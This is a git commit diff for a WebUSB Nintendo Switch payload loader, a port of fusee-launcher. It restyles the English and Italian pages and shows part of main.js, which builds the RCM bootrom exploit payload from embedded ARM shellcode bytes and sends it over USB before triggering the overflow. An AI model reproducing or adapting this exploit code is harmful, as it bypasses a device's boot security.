Merge pull request #3 from falquinho/master
Did some changes that i believe help usability.pull/5/head^2
commit
43dfd1b57e
191
index.html
191
index.html
|
@ -6,75 +6,152 @@
|
||||||
<link rel="stylesheet" type="text/css" href="style.css" />
|
<link rel="stylesheet" type="text/css" href="style.css" />
|
||||||
<link href="favicon.png" rel="icon" type="image/x-icon" />
|
<link href="favicon.png" rel="icon" type="image/x-icon" />
|
||||||
<title>Switch Payload Loader v1.2</title>
|
<title>Switch Payload Loader v1.2</title>
|
||||||
|
|
||||||
|
<!-- JQuery: needed for some Bootstrap Components -->
|
||||||
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
|
||||||
|
|
||||||
|
<!-- Bootstrap 3 framework -->
|
||||||
|
<!-- Latest compiled and minified CSS -->
|
||||||
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
|
||||||
|
<!-- Optional theme -->
|
||||||
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
|
||||||
|
<!-- Latest compiled and minified JavaScript -->
|
||||||
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
|
||||||
|
|
||||||
</head>
|
</head>
|
||||||
|
|
||||||
<body>
|
<body class="container-fluid">
|
||||||
<div id="title">
|
<div class="row" id="title">
|
||||||
<h1>Nintendo Switch Payload Loader</h1>
|
<h1>Nintendo Switch Payload Loader</h1>
|
||||||
<p>Fusee Launcher ported to JavaScript using WebUSB.</p>
|
<h4>Fusee Launcher ported to JavaScript using WebUSB.</h4>
|
||||||
<div id="disclaimer">
|
|
||||||
<p>
|
|
||||||
Source can be found on <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (or by hitting view source, there is no backend!).<br>
|
|
||||||
Ported from <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.
|
|
||||||
Thanks to ktemkin and ReSwitched, as well as <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 and his website</a> as a beginning point for this one.
|
|
||||||
</p>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<div class="btn-group" role="group" aria-label="...">
|
||||||
|
<a class="btn btn-info disabled" href="#">English</a>
|
||||||
|
<a class="btn btn-info" href="./it_IT/index.html">Italiano</a>
|
||||||
|
<a class="btn btn-info" href="./pt_BR/index.html">Português</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="row margin-top-md" id="infodiv">
|
||||||
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
|
||||||
|
<div class="alert alert-danger" role="alert">
|
||||||
|
<p>This is moderately tested. Although no issues have been discovered, I'm not responsible if anything goes wrong!</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>This does NOT work on Windows due to a limitation in the Chrome implementation of WebUSB (and probably other reasons!)</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>This does NOT currently work on any browser but Chrome, because they don't implement WebUSB.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>On Linux, you might get an access denied error! If you do, you can try creating a file at <code>/etc/udev/rules.d/50-switch.rules</code>With the following contents:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>Hekate for 4.x has not been tested, as I do not have a 4.x switch. However, all other payloads will be tested as they are uploaded.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>This has been tested and appears to work on Linux, OSX, Android (unrooted) and Chromebooks. Your mileage may vary.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="alert alert-info" role="alert">
|
||||||
|
<h4>Instructions:</h4>
|
||||||
|
<ul>
|
||||||
|
<li>Put the Switch in RCM, and connect it to your device.</li>
|
||||||
|
<li>Select either the example payload, or upload one.</li>
|
||||||
|
<li>Press 'Run Payload!'</li>
|
||||||
|
<li>On the consent screen that appears, select 'APX' and hit confirm.</li>
|
||||||
|
<li>If all goes well, the payload will launch!</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
<br>
|
|
||||||
<p style="text-align: center; font-size: 1vw;">Se sei italiano, clicca <a href="./it_IT">qui.</a></p><br>
|
|
||||||
|
|
||||||
<button class="btn" id="instructionsbutton" onclick="openInstructions();">Instructions</button>
|
<div class="row">
|
||||||
<button class="btn" id="infobutton" onclick="openInfo();">Info</button>
|
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<h1>Setup Payload Delivery</h1>
|
||||||
|
|
||||||
<div id="infodiv"></div>
|
<form id="mainForm">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-xs-6">
|
||||||
|
<h4>Select Payload:</h4>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="col-xs-6">
|
||||||
|
<select class="pull-right" id="payloadSelect" onchange="onSelectChange()">
|
||||||
|
<option value="instaboot">Instantly boot CFW (5.0.x)</option>
|
||||||
|
<option value="hekate v5">Hekate for 5.0.x Switches</option>
|
||||||
|
<option value="hekate v4">Hekate for 4.0.x Switches</option>
|
||||||
|
<option value="fusee">(Re)Switched test payload (fusee)</option>
|
||||||
|
<option value="uploaded">Upload payload</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row" id="uploadContainer" style="display: none">
|
||||||
|
<div class="row-xs-12">
|
||||||
|
<input style="float: right" type="file" id="payloadUpload" accept=".bin"/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row divider-line"></div>
|
||||||
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
|
<div class="col-xs-10">
|
||||||
|
<h4>Get payload byte array (don't sploit)</h4>
|
||||||
|
</div>
|
||||||
|
<div class="col-xs-2">
|
||||||
|
<input class="pull-right" type="checkbox" name="shouldDebug" id="shouldDebug">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row divider-line"></div>
|
||||||
|
</form>
|
||||||
|
|
||||||
<div>
|
<div class="row margin-top-md">
|
||||||
<h1>Load a Payload:</h1>
|
<div class="col-xs-12">
|
||||||
<div>
|
<button class="btn btn-primary btn-lg pull-right" id="goButton">Deliver Payload!</button>
|
||||||
<form id="mainForm">
|
</div>
|
||||||
<p>
|
</div>
|
||||||
<input type="radio" name="payload" id="instaboot" value="instaboot" checked>
|
|
||||||
<label for="instaboot">Instantly boot CFW (5.0.x)</label>
|
</div>
|
||||||
</p>
|
</div>
|
||||||
|
|
||||||
<p>
|
|
||||||
<input type="radio" name="payload" id="hekate v5" value="hekate v5">
|
<div class="row">
|
||||||
<label for="hekate v5">Hekate for 5.0.x Switches</label>
|
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
</p>
|
<h3>Log:</h3>
|
||||||
|
<div id="output"></div>
|
||||||
<p>
|
<button class="btn btn-primary pull-right margin-top-md" id="clearlogsbutton" onclick="clearLog();">Clear Logs</button><br><br>
|
||||||
<input type="radio" name="payload" id="hekate v4" value="hekate v4">
|
</div>
|
||||||
<label for="hekate v4">Hekate for 4.x Switches</label>
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
<input type="radio" name="payload" id="fusee" value="fusee">
|
|
||||||
<label for="fusee">(Re)Switched test payload (fusee)</label>
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
<input type="radio" name="payload" id="uploaded" value="uploaded">
|
|
||||||
<label for="uploaded">Upload payload:<br></label>
|
|
||||||
<input type="file" id="payloadUpload" accept=".bin">
|
|
||||||
</p>
|
|
||||||
|
|
||||||
<p>
|
|
||||||
<input type="checkbox" name="shouldDebug" id="shouldDebug">
|
|
||||||
<label for="shouldDebug">Get payload byte array (don't sploit)</label>
|
|
||||||
</p>
|
|
||||||
</form>
|
|
||||||
|
|
||||||
<button class="btn" id="goButton">Run Payload!</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<h3>Log:</h3>
|
|
||||||
<div id="output"></div><br>
|
|
||||||
<button class="btn" id="clearlogsbutton" onclick="clearLog();">Clear Logs</button><br><br>
|
|
||||||
|
|
||||||
<script src="./payloads.js"></script>
|
<script src="./payloads.js"></script>
|
||||||
<script src="./main.js"></script>
|
<script src="./main.js"></script>
|
||||||
</body>
|
</body>
|
||||||
|
|
||||||
</html
|
<div class="row margin-top-md" id="page-footer">
|
||||||
>
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<div id="disclaimer">
|
||||||
|
<p>Source can be found on <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (or by hitting view source, there is no backend!).</p>
|
||||||
|
<p>Ported from <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.</p>
|
||||||
|
<p>Thanks to ktemkin and ReSwitched, as well as <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 and his website</a> as a beginning point for this one. </p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</html>
|
||||||
|
|
235
it_IT/index.html
235
it_IT/index.html
|
@ -1,79 +1,156 @@
|
||||||
<!doctype html>
|
<!doctype html>
|
||||||
<html>
|
<html>
|
||||||
|
|
||||||
<head>
|
<head>
|
||||||
<meta charset="utf-8">
|
<meta charset="utf-8">
|
||||||
<link rel="stylesheet" type="text/css" href="style.css" />
|
<link rel="stylesheet" type="text/css" href="style.css" />
|
||||||
<link href="favicon.png" rel="icon" type="image/x-icon" />
|
<link href="favicon.png" rel="icon" type="image/x-icon" />
|
||||||
<title>Switch Payload Loader v1.2</title>
|
<title>Switch Payload Loader v1.2</title>
|
||||||
</head>
|
|
||||||
|
<!-- JQuery: needed for some Bootstrap Components -->
|
||||||
<body>
|
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
|
||||||
<div id="title">
|
|
||||||
<h1>Nintendo Switch Payload Loader</h1>
|
<!-- Bootstrap 3 framework -->
|
||||||
<p>Fusee Launcher portato a JavaScript usando WebUSB.</p>
|
<!-- Latest compiled and minified CSS -->
|
||||||
<div id="disclaimer">
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
|
||||||
<p>
|
<!-- Optional theme -->
|
||||||
Il source puo essere trovato a <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (o premendo guarda source, ma non c'è backend!).<br>
|
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap-theme.min.css" integrity="sha384-rHyoN1iRsVXV4nD0JutlnGaslCJuC7uwjduW9SVrLvRYooPp2bWYgmgJQIXwl/Sp" crossorigin="anonymous">
|
||||||
Portato da <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.
|
<!-- Latest compiled and minified JavaScript -->
|
||||||
Grazie tante a ktemkin e ReSwitched, e non dimentichiamoci <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 e il suo sito</a> come punto di inizio per questo.
|
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/js/bootstrap.min.js" integrity="sha384-Tc5IQib027qvyjSMfHjOMaLkfuWVxZxUPnCJA7l2mCWNIpG9mGCD8wGNIcPD7Txa" crossorigin="anonymous"></script>
|
||||||
</p>
|
|
||||||
</div>
|
</head>
|
||||||
</div>
|
|
||||||
<br>
|
<body class="container-fluid">
|
||||||
|
<div class="row" id="title">
|
||||||
<button class="btn" id="instructionsbutton" onclick="openInstructions();">Istruzioni</button>
|
<h1>Nintendo Switch Payload Loader</h1>
|
||||||
<button class="btn" id="infobutton" onclick="openInfo();">Info</button>
|
<h4>Fusee Launcher portato a JavaScript usando WebUSB.</h4>
|
||||||
|
</div>
|
||||||
<div id="infodiv"></div>
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
<div>
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
<h1>Carica un payload:</h1>
|
<div class="btn-group" role="group" aria-label="...">
|
||||||
<div>
|
<a class="btn btn-info" href="../index.html">English</a>
|
||||||
<form id="mainForm">
|
<a class="btn btn-info disabled" href="#">Italiano</a>
|
||||||
<p>
|
<a class="btn btn-info" href="../pt_BR/index.html">Português</a>
|
||||||
<input type="radio" name="payload" id="instaboot" value="instaboot" checked>
|
</div>
|
||||||
<label for="instaboot">Avvia istantaneamente CFW (5.0.x)</label>
|
</div>
|
||||||
</p>
|
</div>
|
||||||
|
|
||||||
<p>
|
<div class="row margin-top-md" id="infodiv">
|
||||||
<input type="radio" name="payload" id="hekate v5" value="hekate v5">
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
<label for="hekate v5">Hekate per Switch su 5.0.X</label>
|
|
||||||
</p>
|
<div class="alert alert-danger" role="alert">
|
||||||
|
<p>Questo è stato moderatamente testato. Anche se nessun problema è stato riportato, non sono responsabile in caso di brick!</p>
|
||||||
<p>
|
</div>
|
||||||
<input type="radio" name="payload" id="hekate v4" value="hekate v4">
|
|
||||||
<label for="hekate v4">Hekate per Switch su 5.0.X</label>
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
</p>
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>Questo non funziona in Windows per la implementazione scorretta di WinUSB di Chrome(E probabilmente altre ragioni)!</p>
|
||||||
<p>
|
</div>
|
||||||
<input type="radio" name="payload" id="fusee" value="fusee">
|
|
||||||
<label for="fusee">(Re)Switched payload di test (fusee)</label>
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
</p>
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
|
<p>Questo non funziona attualmente su nessun browser ma Chrome perchè è l'unico con WinUSB.</p>
|
||||||
<p>
|
</div>
|
||||||
<input type="radio" name="payload" id="uploaded" value="uploaded">
|
|
||||||
<label for="uploaded">Carica payload:<br></label>
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
<input type="file" id="payloadUpload" accept=".bin">
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
</p>
|
<p>Su Linux, potresti ottenere un errore Access Denied! Se succede, potresti provare a creare un file a <code>/etc/udev/rules.d/50-switch.rules</code>Con i seguenti contenuti:<br><code>SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0955\", MODE=\"0664\", GROUP=\"plugdev\"</code></p>
|
||||||
|
</div>
|
||||||
<p>
|
|
||||||
<input type="checkbox" name="shouldDebug" id="shouldDebug">
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
<label for="shouldDebug">Ottieni byte array del payload (no exploit)</label>
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
</p>
|
<p>Hekate 4.x non è stato testato visto che non ho una Switch 4.x. Tuttavia, tutti gli altri payload verranno testati al momento dell'aggiunta.</p>
|
||||||
</form>
|
</div>
|
||||||
|
|
||||||
<button class="btn" id="goButton">Avvia Payload!</button>
|
<div class="alert alert-warning alert-dismissible" role="alert">
|
||||||
</div>
|
<button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">×</span></button>
|
||||||
</div>
|
<p>Questo è stato testato e funziona su Linux, OSX, Android (no root) and Chromebooks. Risultati potrebbero variare.</p>
|
||||||
|
</div>
|
||||||
<h3>Log:</h3>
|
|
||||||
<div id="output"></div><br>
|
<div class="alert alert-info" role="alert">
|
||||||
<button class="btn" id="clearlogsbutton" onclick="clearLog();">Pulisci logs</button>
|
<h4>Istruzioni:</h4>
|
||||||
|
<ul>
|
||||||
<script src="./payloads.js"></script>
|
<li>Metti lo Switch in RCM e collega il dispositivo.</li>
|
||||||
<script src="./main.js"></script>
|
<li>Scegli il payload di esempio o caricane uno.</li>
|
||||||
</body>
|
<li>Pemi 'Avvia payload!'</li>
|
||||||
|
<li>Nello schermo di conferma, scegli 'APX' ae premi conferma.</li>
|
||||||
</html
|
<li>Se tutto funziona il payload si avvierà!</li>
|
||||||
>
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<h1>Setup Payload Delivery</h1>
|
||||||
|
|
||||||
|
<form id="mainForm">
|
||||||
|
<div class="row">
|
||||||
|
<div class="col-xs-6">
|
||||||
|
<h4>Payload:</h4>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="col-xs-6">
|
||||||
|
<select class="pull-right" id="payloadSelect" onchange="onSelectChange()">
|
||||||
|
<option value="instaboot">Avvia istantaneamente CFW (5.0.x)</option>
|
||||||
|
<option value="hekate v5">Hekate per Switch su 5.0.X</option>
|
||||||
|
<option value="hekate v4">Hekate per Switch su 4.0.X</option>
|
||||||
|
<option value="fusee">(Re)Switched payload di test (fusee)</option>
|
||||||
|
<option value="uploaded">Carica payload</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="row" id="uploadContainer" style="display: none">
|
||||||
|
<div class="row-xs-12">
|
||||||
|
<input style="float: right" type="file" id="payloadUpload" accept=".bin"/>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row divider-line"></div>
|
||||||
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
|
<div class="col-xs-10">
|
||||||
|
<h4>Ottieni byte array del payload (no exploit)</h4>
|
||||||
|
</div>
|
||||||
|
<div class="col-xs-2">
|
||||||
|
<input class="pull-right" type="checkbox" name="shouldDebug" id="shouldDebug">
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="row divider-line"></div>
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<div class="row margin-top-md">
|
||||||
|
<div class="col-xs-12">
|
||||||
|
<button class="btn btn-primary btn-lg pull-right" id="goButton">Avvia Payload!</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<div class="row">
|
||||||
|
<div class="class=col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<h3>Log:</h3>
|
||||||
|
<div id="output"></div>
|
||||||
|
<button class="btn btn-primary pull-right margin-top-md" id="clearlogsbutton" onclick="clearLog();">Pulisci Logs</button><br><br>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
|
||||||
|
<script src="./payloads.js"></script>
|
||||||
|
<script src="./main.js"></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
|
<div class="row margin-top-md" id="page-footer">
|
||||||
|
<div class="col-md-8 col-md-offset-2 col-lg-6 col-lg-offset-3">
|
||||||
|
<div id="disclaimer">
|
||||||
|
<p>Il source puo essere trovato a <a href="https://github.com/ElijahZAwesome/web-cfw-loader/">GitHub</a> (o premendo guarda source, ma non c'è backend!).</p>
|
||||||
|
<p>Portato da <a href="https://github.com/reswitched/fusee-launcher">fusee-launcher</a>.</p>
|
||||||
|
<p>Grazie tante a ktemkin e ReSwitched, e non dimentichiamoci <br><a href="https://atlas44.s3-us-west-2.amazonaws.com/web-fusee-launcher/index.html">Atlas44 e il suo sito</a> come punto di inizio per questo.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</html>
|
||||||
|
|
397
it_IT/main.js
397
it_IT/main.js
|
@ -1,191 +1,206 @@
|
||||||
const intermezzo = new Uint8Array([
|
const intermezzo = new Uint8Array([
|
||||||
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
0x44, 0x00, 0x9F, 0xE5, 0x01, 0x11, 0xA0, 0xE3, 0x40, 0x20, 0x9F, 0xE5, 0x00, 0x20, 0x42, 0xE0,
|
||||||
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
0x08, 0x00, 0x00, 0xEB, 0x01, 0x01, 0xA0, 0xE3, 0x10, 0xFF, 0x2F, 0xE1, 0x00, 0x00, 0xA0, 0xE1,
|
||||||
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
0x2C, 0x00, 0x9F, 0xE5, 0x2C, 0x10, 0x9F, 0xE5, 0x02, 0x28, 0xA0, 0xE3, 0x01, 0x00, 0x00, 0xEB,
|
||||||
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
0x20, 0x00, 0x9F, 0xE5, 0x10, 0xFF, 0x2F, 0xE1, 0x04, 0x30, 0x90, 0xE4, 0x04, 0x30, 0x81, 0xE4,
|
||||||
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
0x04, 0x20, 0x52, 0xE2, 0xFB, 0xFF, 0xFF, 0x1A, 0x1E, 0xFF, 0x2F, 0xE1, 0x20, 0xF0, 0x01, 0x40,
|
||||||
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
0x5C, 0xF0, 0x01, 0x40, 0x00, 0x00, 0x02, 0x40, 0x00, 0x00, 0x01, 0x40
|
||||||
]);
|
]);
|
||||||
|
|
||||||
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
|
||||||
const INTERMEZZO_LOCATION = 0x4001F000;
|
|
||||||
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
const RCM_PAYLOAD_ADDRESS = 0x40010000;
|
||||||
|
const INTERMEZZO_LOCATION = 0x4001F000;
|
||||||
function createRCMPayload(intermezzo, payload) {
|
const PAYLOAD_LOAD_BLOCK = 0x40020000;
|
||||||
const rcmLength = 0x30298;
|
|
||||||
|
|
||||||
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
|
|
||||||
|
function createRCMPayload(intermezzo, payload) {
|
||||||
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
|
const rcmLength = 0x30298;
|
||||||
|
|
||||||
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
|
const intermezzoAddressRepeatCount = (INTERMEZZO_LOCATION - RCM_PAYLOAD_ADDRESS) / 4;
|
||||||
const rcmPayloadView = new DataView(rcmPayload.buffer);
|
|
||||||
|
const rcmPayloadSize = Math.ceil((0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000 + payload.byteLength) / 0x1000) * 0x1000;
|
||||||
rcmPayloadView.setUint32(0x0, rcmLength, true);
|
|
||||||
|
const rcmPayload = new Uint8Array(new ArrayBuffer(rcmPayloadSize))
|
||||||
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
|
const rcmPayloadView = new DataView(rcmPayload.buffer);
|
||||||
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
|
|
||||||
}
|
rcmPayloadView.setUint32(0x0, rcmLength, true);
|
||||||
|
|
||||||
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
|
for (let i = 0; i < intermezzoAddressRepeatCount; i++) {
|
||||||
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
|
rcmPayloadView.setUint32(0x2A8 + i * 4, INTERMEZZO_LOCATION, true);
|
||||||
|
}
|
||||||
return rcmPayload;
|
|
||||||
}
|
rcmPayload.set(intermezzo, 0x2A8 + (0x4 * intermezzoAddressRepeatCount));
|
||||||
|
rcmPayload.set(payload, 0x2A8 + (0x4 * intermezzoAddressRepeatCount) + 0x1000);
|
||||||
function bufferToHex(data) {
|
|
||||||
let result = "";
|
return rcmPayload;
|
||||||
for (let i = 0; i < data.byteLength; i++)
|
}
|
||||||
result += data.getUint8(i).toString(16).padStart(2, "0");
|
|
||||||
return result;
|
|
||||||
}
|
|
||||||
|
function bufferToHex(data) {
|
||||||
async function write(device, data) {
|
let result = "";
|
||||||
let length = data.length;
|
for (let i = 0; i < data.byteLength; i++)
|
||||||
let writeCount = 0;
|
result += data.getUint8(i).toString(16).padStart(2, "0");
|
||||||
const packetSize = 0x1000;
|
return result;
|
||||||
|
}
|
||||||
while (length) {
|
|
||||||
const dataToTransmit = Math.min(length, packetSize);
|
|
||||||
length -= dataToTransmit;
|
|
||||||
|
async function write(device, data) {
|
||||||
const chunk = data.slice(0, dataToTransmit);
|
let length = data.length;
|
||||||
data = data.slice(dataToTransmit);
|
let writeCount = 0;
|
||||||
await device.transferOut(1, chunk);
|
const packetSize = 0x1000;
|
||||||
writeCount++;
|
|
||||||
}
|
while (length) {
|
||||||
|
const dataToTransmit = Math.min(length, packetSize);
|
||||||
return writeCount;
|
length -= dataToTransmit;
|
||||||
}
|
|
||||||
|
const chunk = data.slice(0, dataToTransmit);
|
||||||
function readFileAsArrayBuffer(file) {
|
data = data.slice(dataToTransmit);
|
||||||
return new Promise((res, rej) => {
|
await device.transferOut(1, chunk);
|
||||||
const reader = new FileReader();
|
writeCount++;
|
||||||
reader.onload = e => {
|
}
|
||||||
res(e.target.result);
|
|
||||||
}
|
return writeCount;
|
||||||
reader.readAsArrayBuffer(file);
|
}
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function logOutput(...message) {
|
function readFileAsArrayBuffer(file) {
|
||||||
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
|
return new Promise((res, rej) => {
|
||||||
}
|
const reader = new FileReader();
|
||||||
|
reader.onload = e => {
|
||||||
function clearLog() {
|
res(e.target.result);
|
||||||
document.getElementById("output").innerHTML = "";
|
}
|
||||||
}
|
reader.readAsArrayBuffer(file);
|
||||||
|
});
|
||||||
let device;
|
}
|
||||||
|
|
||||||
async function launchPayload(payload) {
|
|
||||||
await device.open();
|
|
||||||
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
function logOutput(...message) {
|
||||||
|
document.getElementById("output").innerHTML = document.getElementById("output").innerHTML + message.join(" ") + "<br>";
|
||||||
await device.claimInterface(0);
|
}
|
||||||
|
|
||||||
const deviceID = await device.transferIn(1, 16);
|
|
||||||
logOutput(`Device ID: ${bufferToHex(deviceID.data)}`);
|
|
||||||
|
function clearLog() {
|
||||||
|
document.getElementById("output").innerHTML = "";
|
||||||
const rcmPayload = createRCMPayload(intermezzo, payload);
|
}
|
||||||
logOutput("Sending payload...");
|
|
||||||
const writeCount = await write(device, rcmPayload);
|
|
||||||
logOutput("Payload sent!");
|
|
||||||
|
let device;
|
||||||
if (writeCount % 2 !== 1) {
|
|
||||||
logOutput("Switching to higher buffer...");
|
|
||||||
await device.transferOut(1, new ArrayBuffer(0x1000));
|
|
||||||
}
|
async function launchPayload(payload) {
|
||||||
|
await device.open();
|
||||||
logOutput("Trigging vulnerability...");
|
logOutput(`Connected to ${device.manufacturerName} ${device.productName}`);
|
||||||
const vulnerabilityLength = 0x7000;
|
|
